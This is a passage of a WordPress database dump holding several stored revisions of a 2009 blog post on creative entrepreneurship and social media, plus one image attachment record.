'http://www.whitehotcenter.com/2009/09/21/632-revision-11/', 0, 'revision', '', 0),
(645, 2, '2009-09-21 14:49:58', '2009-09-21 21:49:58', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="250" height="298" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-12', '', '', '2009-09-21 14:49:58', '2009-09-21 21:49:58', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-12/', 0, 'revision', '', 0);
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(646, 2, '2009-09-21 14:51:54', '2009-09-21 21:51:54', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="size-full wp-image-633 alignleft" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="270" height="320" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-13', '', '', '2009-09-21 14:51:54', '2009-09-21 21:51:54', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-13/', 0, 'revision', '', 0),
(647, 2, '2009-09-21 14:52:02', '2009-09-21 21:52:02', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="size-full wp-image-633 alignleft" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="270" height="320" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-14', '', '', '2009-09-21 14:52:02', '2009-09-21 21:52:02', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-14/', 0, 'revision', '', 0),
(648, 2, '2009-09-21 14:52:58', '2009-09-21 21:52:58', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="size-full wp-image-633 alignleft" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="225" height="320" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-15', '', '', '2009-09-21 14:52:58', '2009-09-21 21:52:58', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-15/', 0, 'revision', '', 0),
(649, 2, '2009-09-21 14:54:30', '2009-09-21 21:54:30', '', 'ideas', 0, '', 'inherit', 'open', 'open', '', 'ideas-2', '', '', '2009-09-21 14:54:30', '2009-09-21 21:54:30', '', 632, 'http://www.whitehotcenter.com/wp-content/uploads/2009/09/ideas1.gif', 0, 'attachment', 'image/gif', 0),
(650, 2, '2009-09-21 14:53:08', '2009-09-21 21:53:08', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="size-full wp-image-633 alignleft" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="225" height="320" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-16', '', '', '2009-09-21 14:53:08', '2009-09-21 21:53:08', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-16/', 0, 'revision', '', 0),
(653, 2, '2009-09-21 14:55:31', '2009-09-21 21:55:31', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="252" height="300" /></a>\r\n<h2><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea -based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-19', '', '', '2009-09-21 14:55:31', '2009-09-21 21:55:31', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-19/', 0, 'revision', '', 0),
(651, 2, '2009-09-21 14:54:44', '2009-09-21 21:54:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="252" height="300" /></a>\r\n<h2><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all 